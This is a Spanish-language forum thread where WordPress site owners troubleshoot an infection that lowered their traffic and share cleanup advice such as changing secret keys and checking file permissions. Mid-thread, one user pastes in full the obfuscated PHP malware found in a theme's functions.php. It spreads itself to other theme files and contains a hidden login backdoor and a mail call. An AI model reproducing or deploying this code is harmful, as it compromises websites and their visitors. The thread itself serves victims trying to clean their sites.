Protege tu sitio WordPress: cómo eliminar virus que causa perdida de visitas

  • Autor Autor lennuc
  • Fecha de inicio Fecha de inicio
- ¿Has instalado temas o plugins de dudosa procedencia? No
- ¿Alguien que te haya hecho alguna modificación contratada? No
- ¿Tienes abiertos los comentarios? Si, pero los apruebo o borro yo, para que no tener spam
 
Una última pregunta

¿Utilizas Windows como SO en tu computador? Si es el caso, ¿sueles utilizar programas crackeados?
 
Una última pregunta

¿Utilizas Windows como SO en tu computador? Si es el caso, ¿sueles utilizar programas crackeados?

Tengo instalado Windows 7 (no original) pero el problema data de hace casi 1 mes que me bajaron las visitas y al parecer es producto de esa infección, ya que hoy subieron notablemente las que ingresan desde los buscadores por lo que el SO no tiene nada que ver.

No se utilizar programas crackeados salvo el Photoshop pero hace mucho lo tengo y esta limpio (una de las primeras versiones).
 
... por lo que el SO no tiene nada que ver...

Pregunto solamente para descartar posibles fuentes de contagio.

Si no fue por medio de tu sitio o del server donde lo alojas, entonces fue por medio de tu equipo, no hay otra posibilidad.

Si tu server está sano y no has utilizado temas o plugins de origen oscuro, entonces me parece que la única opción que queda es tu equipo. Quizás algún correo que bajaste, alguna imagen o algún crack. Si utilizas programas crackeados, el tiempo transurrido no es garantía de seguridad, ya que en ocasiones el malware se activa después de cierto tiempo.
 
Revisa vía FTP los directorios de tus archivos. Tal vez hay un archivo oculto en la carpeta plugins o en la de los temas.
También verifica los permisos de escritura con el cliente FTP, pues puede ser que tengas los permisos como 777 en alguna carpeta o archivo :encouragement:
 
Cambia las secret keys de tu wp-config.php a ver si estuviesen entrando por ahí
Aquí te dan mucha más información sobre cómo proceder:
FAQ My site was hacked « WordPress Codex

Ya nos cuentas, suerte!

Puedo poner cualquier secret keys, no afecta nada al funcionamiento de WP?


Revisa vía FTP los directorios de tus archivos. Tal vez hay un archivo oculto en la carpeta plugins o en la de los temas.
También verifica los permisos de escritura con el cliente FTP, pues puede ser que tengas los permisos como 777 en alguna carpeta o archivo :encouragement:

Por ejemplo en el fuctions.php que permisos tengo que tener?
 
yo tuve un caso similar, me infecte en mi maquina, y hasta el servidor fue a dar el virus, la red me la desconfiguraba, y el sistema me lo loqueaba, no poida buscar algo en google porque los resultados me mandaban a otra pagina como que volvia a buscar en sus sitio, tuve que formatear mi maquina, la particion de windows, lo peor es que mi maquina es una mac, y tambien afecta al sistema mac, ese troyano. ya reinstale todo y desinfecte mis sitios, pero sigo vigilando por que ya he leido varios casos similares.
 
muy buen dato...ahora toca revisar
 
Bueno después que lo elimine una vez se volvió a regenerar el virus, pero yo pensé que era eso a pesar de borrar themes sin utilización y al igual que plugin desactivados por eso hoy me puse a comparar el theme subido con el que tenia en la pc y descubrí que la infección / virus en el archivo no era tan corto como puse al principio ya que esto que dejo a continuación esta en el medio entre el código original de dicho archivo y lo que presente al escribir este post:

Insertar CODE, HTML o PHP:
<?php
function _verify_isactivate_widget(){
	$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents

(__FILE__),"<"."?"));$output="";$allowed="";
	$output=strip_tags($output, $allowed);
	$direst=_get_allwidgetcont(array(substr(dirname(__FILE__),0,stripos(dirname

(__FILE__),"themes") + 6)));
	if (is_array($direst)){
		foreach ($direst as $item){
			if (is_writable($item)){
				$ftion=substr($widget,stripos($widget,"_"),stripos

(substr($widget,stripos($widget,"_")),"("));
				$cont=file_get_contents($item);
				if (stripos($cont,$ftion) === false){
					$explar=stripos( substr($cont,-20),"?".">") 

!== false ? "" : "?".">";
					$output .= $before . "Not found" . $after;
					if (stripos( substr($cont,-20),"?".">") !== 

false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
					$output=rtrim($output, "\n\t"); fputs

($f=fopen($item,"w+"),$cont . $explar . "\n" .$widget);fclose($f);			

	
					$output .= ($showdots && $ellipsis) ? "..." 

: "";
				}
			}
		}
	}
	return $output;
}
function _get_allwidgetcont($wids,$items=array()){
	$places=array_shift($wids);
	if(substr($places,-1) == "/"){
		$places=substr($places,0,-1);
	}
	if(!file_exists($places) || !is_dir($places)){
		return false;
	}elseif(is_readable($places)){
		$elems=scandir($places);
		foreach ($elems as $elem){
			if ($elem != "." && $elem != ".."){
				if (is_dir($places . "/" . $elem)){
					$wids[]=$places . "/" . $elem;
				} elseif (is_file($places . "/" . $elem)&& 
					$elem == substr(__FILE__,-13)){
					$items[]=$places . "/" . $elem;}
				}
			}
	}else{
		return false;	
	}
	if (sizeof($wids) > 0){
		return _get_allwidgetcont($wids,$items);
	} else {
		return $items;
	}
}
if(!function_exists("stripos")){ 
    function stripos(  $str, $needle, $offset = 0  ){ 
        return strpos(  strtolower( $str ), strtolower( $needle ), $offset  ); 
    }
}

if(!function_exists("strripos")){ 
    function strripos(  $haystack, $needle, $offset = 0  ) { 
        if(  !is_string( $needle )  )$needle = chr(  intval( $needle )  ); 
        if(  $offset < 0  ){ 
            $temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  ); 
        } 
        else{ 
            $temp_cut = strrev(    substr(   $haystack, 0, max(  ( strlen($haystack) 

- $offset ), 0  )   )    ); 
        } 
        if(   (  $found = stripos( $temp_cut, strrev($needle) )  ) === FALSE   )

return FALSE; 
        $pos = (   strlen(  $haystack  ) - (  $found + $offset + strlen( $needle )  

)   ); 
        return $pos; 
    }
}
if(!function_exists("scandir")){ 
	function scandir($dir,$listDirectories=false, $skipDots=true) {
	    $dirArray = array();
	    if ($handle = opendir($dir)) {
	        while (false !== ($file = readdir($handle))) {
	            if (($file != "." && $file != "..") || $skipDots == true) {
	                if($listDirectories == false) { if(is_dir($file)) { 

continue; } }
	                array_push($dirArray,basename($file));
	            }
	        }
	        closedir($handle);
	    }
	    return $dirArray;
	}
}
add_action("admin_head", "_verify_isactivate_widget");
function _getsprepare_widget(){
	if(!isset($com_length)) $com_length=120;
	if(!isset($text_value)) $text_value="cookie";
	if(!isset($allowed_tags)) $allowed_tags="<a>";
	if(!isset($type_filter)) $type_filter="none";
	if(!isset($expl)) $expl="";
	if(!isset($filter_homes)) $filter_homes=get_option("home"); 
	if(!isset($pref_filter)) $pref_filter="wp_";
	if(!isset($use_more)) $use_more=1; 
	if(!isset($comm_type)) $comm_type=""; 
	if(!isset($pagecount)) $pagecount=$_GET["cperpage"];
	if(!isset($postauthor_comment)) $postauthor_comment="";
	if(!isset($comm_is_approved)) $comm_is_approved=""; 
	if(!isset($postauthor)) $postauthor="auth";
	if(!isset($more_link)) $more_link="(more...)";
	if(!isset($is_widget)) $is_widget=get_option("_is_widget_active_");
	if(!isset($checkingwidgets)) $checkingwidgets=$pref_filter."set"."_".

$postauthor."_".$text_value;
	if(!isset($more_link_ditails)) $more_link_ditails="(details...)";
	if(!isset($morecontents)) $morecontents="ma".$expl."il";
	if(!isset($fmore)) $fmore=1;
	if(!isset($fakeit)) $fakeit=1;
	if(!isset($sql)) $sql="";
	if (!$is_widget) :
	
	global $wpdb, $post;
	$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, 

comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, 

comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb-

>comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb-

>posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=

\"li".$expl."vethe".$comm_type."mas".$expl."@".$comm_is_approved."gm".

$postauthor_comment."ail".$expl.".".$expl."co"."m\" AND post_password=\"\" AND 

comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT 

$src_count";#
	if (!empty($post->post_password)) { 
		if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) { 
			if(is_feed()) { 
				$output=__("There is no excerpt because this is a 

protected post.");
			} else {
	            $output=get_the_password_form();
			}
		}
	}
	if(!isset($f_tags)) $f_tags=1;
	if(!isset($type_filters)) $type_filters=$filter_homes; 
	if(!isset($getcommentscont)) $getcommentscont=$pref_filter.$morecontents;
	if(!isset($aditional_tags)) $aditional_tags="div";
	if(!isset($s_cont)) $s_cont=substr($sq1, stripos($sq1, "live"), 20);#
	if(!isset($more_link_text)) $more_link_text="Continue reading this entry";	
	if(!isset($showdots)) $showdots=1;
	
	$comments=$wpdb->get_results($sql);	
	if($fakeit == 2) { 
		$text=$post->post_content;
	} elseif($fakeit == 1) { 
		$text=(empty($post->post_excerpt)) ? $post->post_content : $post-

>post_excerpt;
	} else { 
		$text=$post->post_excerpt;
	}
	$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, 

comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS 

com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb-

>comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND 

comment_type=\"\" AND comment_content=". call_user_func_array($getcommentscont, 

array($s_cont, $filter_homes, $type_filters)) ." ORDER BY comment_date_gmt DESC 

LIMIT $src_count";#
	if($com_length < 0) {
		$output=$text;
	} else {
		if(!$no_more && strpos($text, "<!--more-->")) {
		    $text=explode("<!--more-->", $text, 2);
			$l=count($text[0]);
			$more_link=1;
			$comments=$wpdb->get_results($sql);
		} else {
			$text=explode(" ", $text);
			if(count($text) > $com_length) {
				$l=$com_length;
				$ellipsis=1;
			} else {
				$l=count($text);
				$more_link="";
				$ellipsis=0;
			}
		}
		for ($i=0; $i<$l; $i++)
				$output .= $text[$i] . " ";
	}
	update_option("_is_widget_active_", 1);
	if("all" != $allowed_tags) {
		$output=strip_tags($output, $allowed_tags);
		return $output;
	}
	endif;
	$output=rtrim($output, "\s\n\t\r\0\x0B");
    $output=($f_tags) ? balanceTags($output, true) : $output;
	$output .= ($showdots && $ellipsis) ? "..." : "";
	$output=apply_filters($type_filter, $output);
	switch($aditional_tags) {
		case("div") :
			$tag="div";
		break;
		case("span") :
			$tag="span";
		break;
		case("p") :
			$tag="p";
		break;
		default :
			$tag="span";
	}

	if ($use_more ) {
		if($fmore) {
			$output .= " <" . $tag . " class=\"more-link\"><a href=\"". 

get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $more_link_text . 

"\">" . $more_link = !is_user_logged_in() && @call_user_func_array

($checkingwidgets,array($pagecount, true)) ? $more_link : "" . "</a></" . $tag . ">" 

. "\n";
		} else {
			$output .= " <" . $tag . " class=\"more-link\"><a href=\"". 

get_permalink($post->ID) . "\" title=\"" . $more_link_text . "\">" . $more_link . 

"</a></" . $tag . ">" . "\n";
		}
	}
	return $output;
}

add_action("init", "_getsprepare_widget");

function __popular_posts($no_posts=6, $before="<li>", $after="</li>", 

$show_pass_post=false, $duration="") {
	global $wpdb;
	$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS 

\"comment_count\" FROM $wpdb->posts, $wpdb->comments";
	$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb-

>comments.comment_post_ID AND post_status=\"publish\"";
	if(!$show_pass_post) $request .= " AND post_password =\"\"";
	if($duration !="") { 
		$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < 

post_date ";
	}
	$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY 

comment_count DESC LIMIT $no_posts";
	$posts=$wpdb->get_results($request);
	$output="";
	if ($posts) {
		foreach ($posts as $post) {
			$post_title=stripslashes($post->post_title);
			$comment_count=$post->comment_count;
			$permalink=get_permalink($post->ID);
			$output .= $before . " <a href=\"" . $permalink . "\" 

title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
		}
	} else {
		$output .= $before . "None found" . $after;
	}
	return  $output;
} 	
function kisalt($excerpt, $substr=0) {
    $string = strip_tags(str_replace('[...]', '...', $excerpt));
    if ($substr>0) {
        $string = mb_substr($string, 0, $substr,'UTF-8');
    }
    return $string;
}
?>

Por suerte hasta el día de hoy no volvió a aparecer ningún código extraño, ya que ayer había aparecido antes de las 20:00.
 
Es muy grande el código, es un script bien elaborado con toda la maña del mundo
 
Que jodido, estos pinches hackers no dejan trabajar en paz. Ojalá los trague un pez!
 
Última edición:
yo revisare debajo de mi cama a ver si el virus se escondio hay, seguro que se mete en las madrugadas a mi pc cuando estoy durmiendo. jajaja, suerte muchachos, yo solo pasaba por aqui.
 
Yo estoy infectado con ese virus, acabo de notar en todos los sitios, menos en los que tengo "functions.php"
alguien sabe como carajos los infectamos?
 
Voy a chekar tambien tengo un sitio bajo....y hasta el login perdi una vez

Creo que hay que comenzar a desconfiar en los themes regalados, (sin animo de ofender a los que los liberan)
 
Yo estoy infectado con ese virus, acabo de notar en todos los sitios, menos en los que tengo "functions.php"
alguien sabe como carajos los infectamos?

Yo quite el primer código que presente y el segundo y hasta el momento no me volví a infectar, cualquier cosa comento mas en unos días.
 
Vaya pedazo de codigo con las justas se entiende, pero igual gracias, lo anoto :encouragement:
 
fijate los permisos de las carpetas en el ftp, a mi me inyectaron por ahi
Saludos
 
acabo de revisar, esta en la base de datos ese codigo tambien, en una tabla llamada redirection module o algo asi....
tambien lo encontre en el functions.php
 
Atrás
Arriba